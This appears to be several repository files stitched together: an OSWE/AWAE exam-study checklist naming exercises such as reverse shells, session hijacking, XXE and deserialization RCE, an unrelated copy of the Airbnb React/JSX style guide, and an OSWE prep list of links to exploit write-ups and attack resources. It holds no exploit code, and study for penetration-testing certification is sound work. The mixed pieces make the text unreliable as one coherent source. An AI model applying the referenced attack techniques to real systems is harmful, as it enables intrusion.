## Study Strategy
## Course Completion
Taken from publicly-available syllabus.
* [ ] 1. Introduction
* [ ] Videos
* [ ] Read/Notes
* [ ] 2. Tools & Methodologies
* [ ] Videos
* [ ] Read/Notes
* [ ] 2.1.5 Exercise - Web Inspection
* [ ] 2.2.1 Exercise - Python Requests
* [ ] 2.3.3 Exercise - Decompilation
* [ ] 3. Atmail Mail Server Appliance: from XSS to RCE
* [X] Videos
* [X] Read/Notes
* [X] 3.3.1 Exercise - Vuln Discovery
* [X] 3.4.1 Exercise - Session Hijack
* [X] 3.5.4 Exercise - Session Riding
* [X] 3.5.5 Extra Mile - Session Riding
* [X] 3.6.5 Exercise - globalsaveAction Vuln Analysis
* [X] 3.6.7 Exercise - Make it fully automagical
* [X] 3.6.8 Extra Mile
* [ ] 3.6.8 Extra Mile - Also see if you can background it completely
* [ ] 4. ATutor Auth Bypass and RCE
* [ ] Videos
* [ ] Read/Notes
* [ ] 4.3.1 Exercise - Vuln Discovery
* [ ] 4.6.3 Exercise - Data Exfil
* [ ] 4.6.4 Extra Mile - Data Exfil
* [ ] 4.7.1 Exercise - ATutor Auth
* [ ] 4.7.2 Extra Mile - ATutor Auth
* [ ] 4.8.1 Exercise - ATutor Auth
* [ ] 4.8.2 Extra Mile - ATutor Auth
* [ ] 4.9.1 Exercise - File Upload
* [ ] 4.10.5 Exercise - RCE
* [ ] 4.10.6 Extra Mile - RCE
* [ ] 5. ATutor LMS Type Juggling Vuln
* [ ] Videos
* [ ] Read/Notes
* [ ] 5.4.1 Exercise - String Conversion
* [ ] 5.6.3 Exercise - Loose Comparison
* [ ] 5.6.4 Extra Mile - Loose Comparison
* [ ] 6. ManageEngine Applications Manager AMUserResourcesSyncServlet SQL Injection RCE
* [X] Videos
* [X] Read/Notes
* [X] 6.3.6 Exercise - Vuln Discovery
* [X] 6.5.1 Exercise - Blind Bats
* [X] 6.6.1 Exercise - Access FS
* [ ] 6.6.3 Exercise - VBS file [!! Need to do the batch! Got the reverse shell... !!]
* [ ] 6.6.4 Extra Mile - Shell via JSP
* [X] 6.7.4 Exercise - PostgreSQL Extensions
* [ ] 6.8.1 Exercise - UDF Reverse Shell
* [ ] 6.9.3 Exercise - Moar Shells
* [ ] 6.9.4 Extra Mile - Moar Shells
* [ ] 7. Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability
* [ ] Videos
* [ ] Read/Notes
* [ ] 7.6.1 Exercise - RevShell
* [ ] 7.6.2 Extra Mile - RevShell
* [ ] 8. DotNetNuke Deserialization RCE
* [ ] Videos
* [ ] Read/Notes
* [ ] 8.4.3 Exercise - Serialization Basics
* [ ] 8.4.5 Exercise - Serialization Basics
* [ ] 8.4.7 Exercise - Serialization Basics
* [ ] 8.5.3 Exercise - DNN Vuln Analysis
* [ ] 8.6.4 Exercise - Payload Options
* [ ] 8.6.7 Exercise - Payload Options
* [ ] 8.7.1 Exercise - Payload Options
* [ ] 8.8.1 Extra Mile - Y SO SERIAL? .NET
* [ ] 8.8.2 Extra Mile - Y SO SERIAL? Java
* [ ] 9. ERPNext Authentication Bypass and Server Side Template Injection
* [X] Videos
* [X] Read/Notes
* [X] 9.1.1.1 Exercise - Configure Kali SMTPd server
* [X] 9.1.2.1 Exercise - Configure remote debugging
* [X] 9.1.3.1 Exercise - Configure MariaDB logging
* [ ] 9.2.3.2 Exercise - Find whitelisted functions
* [X] 9.3.1.2 Exercises - SQLi
* [X] 9.4.2.1 Exercises - Access the admin acct
* [X] 9.5.2.1 Exercise - Find the SSTI
* [ ] 9.5.2.2 Extra Mile - Find another instance of SSTI
* [X] 9.5.3.1 Exercise - Recreate the `__class__` rendering
* [ ] 9.5.3.2 Extra Mile - Alternative filter bypass
* [X] 9.6.1.1 Exercises - Recreate the filter bypass and exploit and find other classes to own
* [X] 9.6.2.1 Exercises - Recreate RCE and get shell
* [ ] 9.6.2.2 Extra Mile - Get output to display
* [ ] 10. openCRX Authentication Bypass and Remote Code Execution
* [X] Videos
* [X] Read/Notes
* [X] 10.2.1.1 Exercise - Recreate the Rando and SecureRando
* [X] 10.2.4.1 Exercise - Generate a token list
* [X] 10.2.4.2 Extra Mile - Update token program to take start/stop
* [X] 10.2.5.2 Exercises - Reset password
* [X] 10.2.5.3 Extra Mile - Automate the attack chain
* [X] 10.3.6.2 Exercises - Recreate the XXE attack
* [X] 10.3.6.3 Extra Mile - Script to parse XXE results
* [X] 10.3.8.1 Exercise - Implement the "wrapper" payload
* [X] 10.3.9.2 Exercise - Connect to HSQLDB
* [X] 10.4.1.1 Exercises - Write file and confirm
* [X] 10.4.2.1 Exercise - Find dir with JSP files
* [X] 10.4.3.1 Exercises - Get. That. Shell.
* [ ] 11. openITCOCKPITXSSandOSCommandInjection - Blackbox
* [ ] Videos
* [ ] Read/Notes
* [ ] 11.5.1 Exercise - Recreate the XSS
* [ ] 11.6.2.1 Exercises - DOM rewrite
* [ ] 11.6.2.2 Extra Mile - Prevent new page load
* [ ] 11.6.3.1 Exercises - Finish the script and initialize the DB
* [ ] 11.6.4.1 Exercises - Finish the API script and get a fake login page with the XSS
* [ ] 11.6.4.2 Extra Mile - Add cookie functionality
* [ ] 11.6.5.1 Exercises - Exploit the XSS
* [ ] 11.6.5.2 Extra Miles - Beef up dat XSS
* [ ] 11.6.6.1 Exercise - Dump the SQLite DB
* [ ] 11.7.4.1 Exercise - Fuzz and find cmds
* [ ] 11.7.5.1 Exercise - Test cmd injection
* [ ] 11.7.6.1 Exercise - Get a meterpreter shell
* [ ] 10.7.7 Extra Mile - Get RCE via administrator session
|
# Airbnb React/JSX Style Guide
*A mostly reasonable approach to React and JSX*
This style guide is mostly based on the standards that are currently prevalent in JavaScript, although some conventions (i.e async/await or static class fields) may still be included or prohibited on a case-by-case basis. Currently, anything prior to stage 3 is not included nor recommended in this guide.
## Table of Contents
1. [Basic Rules](#basic-rules)
1. [Class vs `React.createClass` vs stateless](#class-vs-reactcreateclass-vs-stateless)
1. [Mixins](#mixins)
1. [Naming](#naming)
1. [Declaration](#declaration)
1. [Alignment](#alignment)
1. [Quotes](#quotes)
1. [Spacing](#spacing)
1. [Props](#props)
1. [Refs](#refs)
1. [Parentheses](#parentheses)
1. [Tags](#tags)
1. [Methods](#methods)
1. [Ordering](#ordering)
1. [`isMounted`](#ismounted)
## Basic Rules
- Only include one React component per file.
- However, multiple [Stateless, or Pure, Components](https://facebook.github.io/react/docs/reusable-components.html#stateless-functions) are allowed per file. eslint: [`react/no-multi-comp`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/no-multi-comp.md#ignorestateless).
- Always use JSX syntax.
- Do not use `React.createElement` unless you’re initializing the app from a file that is not JSX.
- [`react/forbid-prop-types`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/forbid-prop-types.md) will allow `arrays` and `objects` only if it is explicitly noted what `array` and `object` contains, using `arrayOf`, `objectOf`, or `shape`.
## Class vs `React.createClass` vs stateless
- If you have internal state and/or refs, prefer `class extends React.Component` over `React.createClass`. eslint: [`react/prefer-es6-class`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/prefer-es6-class.md) [`react/prefer-stateless-function`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/prefer-stateless-function.md)
```jsx
// bad
const Listing = React.createClass({
// ...
render() {
return <div>{this.state.hello}</div>;
}
});
// good
class Listing extends React.Component {
// ...
render() {
return <div>{this.state.hello}</div>;
}
}
```
And if you don’t have state or refs, prefer normal functions (not arrow functions) over classes:
```jsx
// bad
class Listing extends React.Component {
render() {
return <div>{this.props.hello}</div>;
}
}
// bad (relying on function name inference is discouraged)
const Listing = ({ hello }) => (
<div>{hello}</div>
);
// good
function Listing({ hello }) {
return <div>{hello}</div>;
}
```
## Mixins
- [Do not use mixins](https://facebook.github.io/react/blog/2016/07/13/mixins-considered-harmful.html).
> Why? Mixins introduce implicit dependencies, cause name clashes, and cause snowballing complexity. Most use cases for mixins can be accomplished in better ways via components, higher-order components, or utility modules.
## Naming
- **Extensions**: Use `.jsx` extension for React components. eslint: [`react/jsx-filename-extension`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-filename-extension.md)
- **Filename**: Use PascalCase for filenames. E.g., `ReservationCard.jsx`.
- **Reference Naming**: Use PascalCase for React components and camelCase for their instances. eslint: [`react/jsx-pascal-case`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-pascal-case.md)
```jsx
// bad
import reservationCard from './ReservationCard';
// good
import ReservationCard from './ReservationCard';
// bad
const ReservationItem = <ReservationCard />;
// good
const reservationItem = <ReservationCard />;
```
- **Component Naming**: Use the filename as the component name. For example, `ReservationCard.jsx` should have a reference name of `ReservationCard`. However, for root components of a directory, use `index.jsx` as the filename and use the directory name as the component name:
```jsx
// bad
import Footer from './Footer/Footer';
// bad
import Footer from './Footer/index';
// good
import Footer from './Footer';
```
- **Higher-order Component Naming**: Use a composite of the higher-order component’s name and the passed-in component’s name as the `displayName` on the generated component. For example, the higher-order component `withFoo()`, when passed a component `Bar` should produce a component with a `displayName` of `withFoo(Bar)`.
> Why? A component’s `displayName` may be used by developer tools or in error messages, and having a value that clearly expresses this relationship helps people understand what is happening.
```jsx
// bad
export default function withFoo(WrappedComponent) {
return function WithFoo(props) {
return <WrappedComponent {...props} foo />;
}
}
// good
export default function withFoo(WrappedComponent) {
function WithFoo(props) {
return <WrappedComponent {...props} foo />;
}
const wrappedComponentName = WrappedComponent.displayName
|| WrappedComponent.name
|| 'Component';
WithFoo.displayName = `withFoo(${wrappedComponentName})`;
return WithFoo;
}
```
- **Props Naming**: Avoid using DOM component prop names for different purposes.
> Why? People expect props like `style` and `className` to mean one specific thing. Varying this API for a subset of your app makes the code less readable and less maintainable, and may cause bugs.
```jsx
// bad
<MyComponent style="fancy" />
// bad
<MyComponent className="fancy" />
// good
<MyComponent variant="fancy" />
```
## Declaration
- Do not use `displayName` for naming components. Instead, name the component by reference.
```jsx
// bad
export default React.createClass({
displayName: 'ReservationCard',
// stuff goes here
});
// good
export default class ReservationCard extends React.Component {
}
```
## Alignment
- Follow these alignment styles for JSX syntax. eslint: [`react/jsx-closing-bracket-location`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-closing-bracket-location.md) [`react/jsx-closing-tag-location`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-closing-tag-location.md)
```jsx
// bad
<Foo superLongParam="bar"
anotherSuperLongParam="baz" />
// good
<Foo
superLongParam="bar"
anotherSuperLongParam="baz"
/>
// if props fit in one line then keep it on the same line
<Foo bar="bar" />
// children get indented normally
<Foo
superLongParam="bar"
anotherSuperLongParam="baz"
>
<Quux />
</Foo>
// bad
{showButton &&
<Button />
}
// bad
{
showButton &&
<Button />
}
// good
{showButton && (
<Button />
)}
// good
{showButton && <Button />}
// good
{someReallyLongConditional
&& anotherLongConditional
&& (
<Foo
superLongParam="bar"
anotherSuperLongParam="baz"
/>
)
}
// good
{someConditional ? (
<Foo />
) : (
<Foo
superLongParam="bar"
anotherSuperLongParam="baz"
/>
)}
```
## Quotes
- Always use double quotes (`"`) for JSX attributes, but single quotes (`'`) for all other JS. eslint: [`jsx-quotes`](https://eslint.org/docs/rules/jsx-quotes)
> Why? Regular HTML attributes also typically use double quotes instead of single, so JSX attributes mirror this convention.
```jsx
// bad
<Foo bar='bar' />
// good
<Foo bar="bar" />
// bad
<Foo style={{ left: "20px" }} />
// good
<Foo style={{ left: '20px' }} />
```
## Spacing
- Always include a single space in your self-closing tag. eslint: [`no-multi-spaces`](https://eslint.org/docs/rules/no-multi-spaces), [`react/jsx-tag-spacing`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-tag-spacing.md)
```jsx
// bad
<Foo/>
// very bad
<Foo />
// bad
<Foo
/>
// good
<Foo />
```
- Do not pad JSX curly braces with spaces. eslint: [`react/jsx-curly-spacing`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-curly-spacing.md)
```jsx
// bad
<Foo bar={ baz } />
// good
<Foo bar={baz} />
```
## Props
- Always use camelCase for prop names, or PascalCase if the prop value is a React component.
```jsx
// bad
<Foo
UserName="hello"
phone_number={12345678}
/>
// good
<Foo
userName="hello"
phoneNumber={12345678}
Component={SomeComponent}
/>
```
- Omit the value of the prop when it is explicitly `true`. eslint: [`react/jsx-boolean-value`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-boolean-value.md)
```jsx
// bad
<Foo
hidden={true}
/>
// good
<Foo
hidden
/>
// good
<Foo hidden />
```
- Always include an `alt` prop on `<img>` tags. If the image is presentational, `alt` can be an empty string or the `<img>` must have `role="presentation"`. eslint: [`jsx-a11y/alt-text`](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y/blob/master/docs/rules/alt-text.md)
```jsx
// bad
<img src="hello.jpg" />
// good
<img src="hello.jpg" alt="Me waving hello" />
// good
<img src="hello.jpg" alt="" />
// good
<img src="hello.jpg" role="presentation" />
```
- Do not use words like "image", "photo", or "picture" in `<img>` `alt` props. eslint: [`jsx-a11y/img-redundant-alt`](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y/blob/master/docs/rules/img-redundant-alt.md)
> Why? Screenreaders already announce `img` elements as images, so there is no need to include this information in the alt text.
```jsx
// bad
<img src="hello.jpg" alt="Picture of me waving hello" />
// good
<img src="hello.jpg" alt="Me waving hello" />
```
- Use only valid, non-abstract [ARIA roles](https://www.w3.org/TR/wai-aria/#usage_intro). eslint: [`jsx-a11y/aria-role`](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y/blob/master/docs/rules/aria-role.md)
```jsx
// bad - not an ARIA role
<div role="datepicker" />
// bad - abstract ARIA role
<div role="range" />
// good
<div role="button" />
```
- Do not use `accessKey` on elements. eslint: [`jsx-a11y/no-access-key`](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y/blob/master/docs/rules/no-access-key.md)
> Why? Inconsistencies between keyboard shortcuts and keyboard commands used by people using screenreaders and keyboards complicate accessibility.
```jsx
// bad
<div accessKey="h" />
// good
<div />
```
- Avoid using an array index as `key` prop, prefer a stable ID. eslint: [`react/no-array-index-key`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/no-array-index-key.md)
> Why? Not using a stable ID [is an anti-pattern](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318) because it can negatively impact performance and cause issues with component state.
We don’t recommend using indexes for keys if the order of items may change.
```jsx
// bad
{todos.map((todo, index) =>
<Todo
{...todo}
key={index}
/>
)}
// good
{todos.map(todo => (
<Todo
{...todo}
key={todo.id}
/>
))}
```
- Always define explicit defaultProps for all non-required props.
> Why? propTypes are a form of documentation, and providing defaultProps means the reader of your code doesn’t have to assume as much. In addition, it can mean that your code can omit certain type checks.
```jsx
// bad
function SFC({ foo, bar, children }) {
return <div>{foo}{bar}{children}</div>;
}
SFC.propTypes = {
foo: PropTypes.number.isRequired,
bar: PropTypes.string,
children: PropTypes.node,
};
// good
function SFC({ foo, bar, children }) {
return <div>{foo}{bar}{children}</div>;
}
SFC.propTypes = {
foo: PropTypes.number.isRequired,
bar: PropTypes.string,
children: PropTypes.node,
};
SFC.defaultProps = {
bar: '',
children: null,
};
```
- Use spread props sparingly.
> Why? Otherwise you’re more likely to pass unnecessary props down to components. And for React v15.6.1 and older, you could [pass invalid HTML attributes to the DOM](https://reactjs.org/blog/2017/09/08/dom-attributes-in-react-16.html).
Exceptions:
- HOCs that proxy down props and hoist propTypes
```jsx
function HOC(WrappedComponent) {
return class Proxy extends React.Component {
Proxy.propTypes = {
text: PropTypes.string,
isLoading: PropTypes.bool
};
render() {
return <WrappedComponent {...this.props} />
}
}
}
```
- Spreading objects with known, explicit props. This can be particularly useful when testing React components with Mocha’s beforeEach construct.
```jsx
export default function Foo {
const props = {
text: '',
isPublished: false
}
return (<div {...props} />);
}
```
Notes for use:
Filter out unnecessary props when possible. Also, use [prop-types-exact](https://www.npmjs.com/package/prop-types-exact) to help prevent bugs.
```jsx
// bad
render() {
const { irrelevantProp, ...relevantProps } = this.props;
return <WrappedComponent {...this.props} />
}
// good
render() {
const { irrelevantProp, ...relevantProps } = this.props;
return <WrappedComponent {...relevantProps} />
}
```
## Refs
- Always use ref callbacks. eslint: [`react/no-string-refs`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/no-string-refs.md)
```jsx
// bad
<Foo
ref="myRef"
/>
// good
<Foo
ref={(ref) => { this.myRef = ref; }}
/>
```
## Parentheses
- Wrap JSX tags in parentheses when they span more than one line. eslint: [`react/jsx-wrap-multilines`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-wrap-multilines.md)
```jsx
// bad
render() {
return <MyComponent variant="long body" foo="bar">
<MyChild />
</MyComponent>;
}
// good
render() {
return (
<MyComponent variant="long body" foo="bar">
<MyChild />
</MyComponent>
);
}
// good, when single line
render() {
const body = <div>hello</div>;
return <MyComponent>{body}</MyComponent>;
}
```
## Tags
- Always self-close tags that have no children. eslint: [`react/self-closing-comp`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/self-closing-comp.md)
```jsx
// bad
<Foo variant="stuff"></Foo>
// good
<Foo variant="stuff" />
```
- If your component has multiline properties, close its tag on a new line. eslint: [`react/jsx-closing-bracket-location`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-closing-bracket-location.md)
```jsx
// bad
<Foo
bar="bar"
baz="baz" />
// good
<Foo
bar="bar"
baz="baz"
/>
```
## Methods
- Use arrow functions to close over local variables. It is handy when you need to pass additional data to an event handler. Although, make sure they [do not massively hurt performance](https://www.bignerdranch.com/blog/choosing-the-best-approach-for-react-event-handlers/), in particular when passed to custom components that might be PureComponents, because they will trigger a possibly needless rerender every time.
```jsx
function ItemList(props) {
return (
<ul>
{props.items.map((item, index) => (
<Item
key={item.key}
onClick={(event) => { doSomethingWith(event, item.name, index); }}
/>
))}
</ul>
);
}
```
- Bind event handlers for the render method in the constructor. eslint: [`react/jsx-no-bind`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/jsx-no-bind.md)
> Why? A bind call in the render path creates a brand new function on every single render. Do not use arrow functions in class fields, because it makes them [challenging to test and debug, and can negatively impact performance](https://medium.com/@charpeni/arrow-functions-in-class-properties-might-not-be-as-great-as-we-think-3b3551c440b1), and because conceptually, class fields are for data, not logic.
```jsx
// bad
class extends React.Component {
onClickDiv() {
// do stuff
}
render() {
return <div onClick={this.onClickDiv.bind(this)} />;
}
}
// very bad
class extends React.Component {
onClickDiv = () => {
// do stuff
}
render() {
return <div onClick={this.onClickDiv} />
}
}
// good
class extends React.Component {
constructor(props) {
super(props);
this.onClickDiv = this.onClickDiv.bind(this);
}
onClickDiv() {
// do stuff
}
render() {
return <div onClick={this.onClickDiv} />;
}
}
```
- Do not use underscore prefix for internal methods of a React component.
> Why? Underscore prefixes are sometimes used as a convention in other languages to denote privacy. But, unlike those languages, there is no native support for privacy in JavaScript, everything is public. Regardless of your intentions, adding underscore prefixes to your properties does not actually make them private, and any property (underscore-prefixed or not) should be treated as being public. See issues [#1024](https://github.com/airbnb/javascript/issues/1024), and [#490](https://github.com/airbnb/javascript/issues/490) for a more in-depth discussion.
```jsx
// bad
React.createClass({
_onClickSubmit() {
// do stuff
},
// other stuff
});
// good
class extends React.Component {
onClickSubmit() {
// do stuff
}
// other stuff
}
```
- Be sure to return a value in your `render` methods. eslint: [`react/require-render-return`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/require-render-return.md)
```jsx
// bad
render() {
(<div />);
}
// good
render() {
return (<div />);
}
```
## Ordering
- Ordering for `class extends React.Component`:
1. optional `static` methods
1. `constructor`
1. `getChildContext`
1. `componentWillMount`
1. `componentDidMount`
1. `componentWillReceiveProps`
1. `shouldComponentUpdate`
1. `componentWillUpdate`
1. `componentDidUpdate`
1. `componentWillUnmount`
1. *event handlers starting with 'handle'* like `handleSubmit()` or `handleChangeDescription()`
1. *event handlers starting with 'on'* like `onClickSubmit()` or `onChangeDescription()`
1. *getter methods for `render`* like `getSelectReason()` or `getFooterContent()`
1. *optional render methods* like `renderNavigation()` or `renderProfilePicture()`
1. `render`
- How to define `propTypes`, `defaultProps`, `contextTypes`, etc...
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const propTypes = {
id: PropTypes.number.isRequired,
url: PropTypes.string.isRequired,
text: PropTypes.string,
};
const defaultProps = {
text: 'Hello World',
};
class Link extends React.Component {
static methodsAreOk() {
return true;
}
render() {
return <a href={this.props.url} data-id={this.props.id}>{this.props.text}</a>;
}
}
Link.propTypes = propTypes;
Link.defaultProps = defaultProps;
export default Link;
```
- Ordering for `React.createClass`: eslint: [`react/sort-comp`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/sort-comp.md)
1. `displayName`
1. `propTypes`
1. `contextTypes`
1. `childContextTypes`
1. `mixins`
1. `statics`
1. `defaultProps`
1. `getDefaultProps`
1. `getInitialState`
1. `getChildContext`
1. `componentWillMount`
1. `componentDidMount`
1. `componentWillReceiveProps`
1. `shouldComponentUpdate`
1. `componentWillUpdate`
1. `componentDidUpdate`
1. `componentWillUnmount`
1. *clickHandlers or eventHandlers* like `onClickSubmit()` or `onChangeDescription()`
1. *getter methods for `render`* like `getSelectReason()` or `getFooterContent()`
1. *optional render methods* like `renderNavigation()` or `renderProfilePicture()`
1. `render`
## `isMounted`
- Do not use `isMounted`. eslint: [`react/no-is-mounted`](https://github.com/jsx-eslint/eslint-plugin-react/blob/master/docs/rules/no-is-mounted.md)
> Why? [`isMounted` is an anti-pattern][anti-pattern], is not available when using ES6 classes, and is on its way to being officially deprecated.
[anti-pattern]: https://facebook.github.io/react/blog/2015/12/16/ismounted-antipattern.html
## Translation
This JSX/React style guide is also available in other languages:
-  **Chinese (Simplified)**: [jhcccc/javascript](https://github.com/jhcccc/javascript/tree/master/react)
-  **Chinese (Traditional)**: [jigsawye/javascript](https://github.com/jigsawye/javascript/tree/master/react)
-  **Español**: [agrcrobles/javascript](https://github.com/agrcrobles/javascript/tree/master/react)
-  **Japanese**: [mitsuruog/javascript-style-guide](https://github.com/mitsuruog/javascript-style-guide/tree/master/react)
-  **Korean**: [apple77y/javascript](https://github.com/apple77y/javascript/tree/master/react)
-  **Polish**: [pietraszekl/javascript](https://github.com/pietraszekl/javascript/tree/master/react)
-  **Portuguese**: [ronal2do/javascript](https://github.com/ronal2do/airbnb-react-styleguide)
-  **Russian**: [leonidlebedev/javascript-airbnb](https://github.com/leonidlebedev/javascript-airbnb/tree/master/react)
-  **Thai**: [lvarayut/javascript-style-guide](https://github.com/lvarayut/javascript-style-guide/tree/master/react)
-  **Turkish**: [alioguzhan/react-style-guide](https://github.com/alioguzhan/react-style-guide)
-  **Ukrainian**: [ivanzusko/javascript](https://github.com/ivanzusko/javascript/tree/master/react)
-  **Vietnam**: [uetcodecamp/jsx-style-guide](https://github.com/UETCodeCamp/jsx-style-guide)
**[⬆ back to top](#table-of-contents)**
|
# OSWE-Prep
An OSWE Guide
#### WriteUps
<https://stacktrac3.co/oswe-review-awae-course/>
<https://github.com/wetw0rk/AWAE-PREP]>
<https://github.com/timip/OSWE>
<https://forum.hackthebox.eu/discussion/2646/oswe-exam-review-2020-notes-gifts-inside>
<https://anchor.fm/dayzerosec/episodes/Offensive-Securitys-OSWEAWAE--Massive-Security-failures--and-a-handful-of-cool-attacks-e45m85>
<https://www.linkedin.com/pulse/lets-get-oswe-certificate-part-i-recon-istv%25C3%25A1n-b%25C3%25B6hm/>
<https://donavan.sg/blog/index.php/2020/03/14/the-awae-oswe-journey-a-review/>
<https://medium.com/@fasthm00/the-state-of-oswe-c68150210fe4>
<https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/>
<https://github.com/deletehead/awae_oswe_prep>
<https://github.com/M507/AWAE-Preparation>
<https://www.vesiluoma.com/offensive-security-web-expert-oswe-advanced-web-attacks-and-exploitation/>
<https://blog.bousalman.com/oswe-review/>
<https://www.youtube.com/playlist?list=PLwvifWoWyqwqkmJ3ieTG6uXUSuid95L33>
<https://hub.schellman.com/blog/oswe-review-and-exam-preparation-guide>
<https://medium.com/@it_band/how-i-passed-the-oswe-exam-3de88bdbad2c>
<https://www.reddit.com/r/OSWE/comments/bsods2/i_just_passed_the_oswe_exam_amaa_about_the_exam/>
<https://nethemba.com/are-you-preparing-for-oswe-or-oscp-certification/>
<https://kishanchoudhary.com/OSWE/Journey/OSWE.html>
#### Remote Code Execution
https://shells.systems/
https://medium.com/@corneacristian/top-25-rce-bug-bounty-reports-bc9555cca7bc
https://github.com/shawnmckinney/remote-code-execution-sample
https://www.gosecure.net/blog/2019/07/03/java-remote-code-execution-potpourri/
https://labs.bishopfox.com/tech-blog/2015/08/coldfusion-bomb-a-chain-reaction-from-xss-to-rce
https://voidsec.com/tabletopia-from-xss-to-rce/
https://blog.ripstech.com/2019/magento-rce-via-xss/
https://medium.com/@knownsec404team/the-analysis-of-mybb-18-20-from-stored-xss-to-rce-7234d7cc0e72
https://sarthaksaini.com/2019/awae/xss-rce.html
https://s0md3v.github.io/xss-to-rce/
https://anotherhackerblog.com/exploiting-file-uploads-pt-2/
https://labs.bishopfox.com/advisories/openemr-5-0-16-remote-code-execution-cross-site-scripting
https://zero.lol/2019-05-13-xss-to-rce/
https://lwierzbicki.github.io/2020/06/10/from-file-upload-to-rce.html
https://www.corben.io/atlassian-crowd-rce/
https://rebraws.github.io/ATutor/
https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit
https://underdefense.com/n-day-exploit-development-and-upgrade-to-rce/
https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
https://www.exploit-db.com/exploits/39534
https://www.exploit-db.com/exploits/39524
https://ssd-disclosure.com/ssd-advisory-auth-bypass-and-rce-in-infinite-wp-admin-panel/
https://github.com/kacperszurek/exploits/blob/master/GitList/gitlist_unauthenticated_rce.py
https://medium.com/cisco-amp-technology/remote-code-execution-for-java-developers-84adb8e23652
https://wiki.sei.cmu.edu/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method
https://github.com/pwntester/SpringBreaker
#### File Upload Vulnerability
https://www.slideshare.net/HackIT-ukraine/15-technique-to-exploit-file-upload-pages-ebrahim-hegazy
https://medium.com/@519udhaya/unrestricted-file-upload-vulnerability-bba4491a08da
https://book.hacktricks.xyz/pentesting-web/file-upload
https://www.exploit-db.com/exploits/48978
#### Auth Bypass
https://blog.ripstech.com/2018/cubecart-admin-authentication-bypass/
https://packetstormsecurity.com/files/157563/ATutor-LMS-2.2.4-Weak-Password-Reset-Hash.html
https://ssd-disclosure.com/ssd-advisory-auth-bypass-and-rce-in-infinite-wp-admin-panel/
#### Deserialisation
https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://gist.github.com/DiabloHorn/8630948d953386d2ed575e17f8635ee7
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html
https://speakerdeck.com/pwntester/attacking-net-serialization?slide=8
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
https://brandur.org/fragments/gadgets-and-chains
https://notsosecure.com/remote-code-execution-via-php-unserialize/
https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/
https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
https://www.youtube.com/watch?v=t-zVC-CxYjw&ab_channel=OWASP
https://pentest-tools.com/blog/exploit-dotnetnuke-cookie-deserialization/
https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net
https://book.hacktricks.xyz/pentesting-web/deserialization
https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/
https://blog.jamesotten.com/post/applications-manager-rce/
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#ysoserial
https://gist.github.com/pwntester/72f76441901c91b25ee7922df5a8a9e4
https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7
https://speakerdeck.com/pwntester/attacking-net-serialization?slide=12
https://www.exploit-db.com/exploits/42756
https://research-labs.net/search/exploits/hpe-72-java-deserialization
https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/
https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
https://blog.ripstech.com/tags/php-object-injection/
https://medium.com/bugbountywriteup/fireshell-ctf-2019-web-vice-writeup-2deee8d82556
https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
#### SQL Injection
https://www.exploit-db.com/papers/17073
https://github.com/blabla1337/skf-labs/blob/master/kbid-156-sqli-blind.md
https://0x00sec.org/t/taking-sql-injections-further-blind-second-order-sql-injection-tmhc-ctf-shitter-writeup/18122
https://cyberpanda.la/blog/laravel-sql-injections
http://blog.k3170makan.com/2012/01/bit-shifting-blind-injection-simplified.html
https://pulsesecurity.co.nz/articles/postgres-sqli
https://medium.com/@afinepl/postgresql-code-execution-udf-revisited-3b08412f47c1
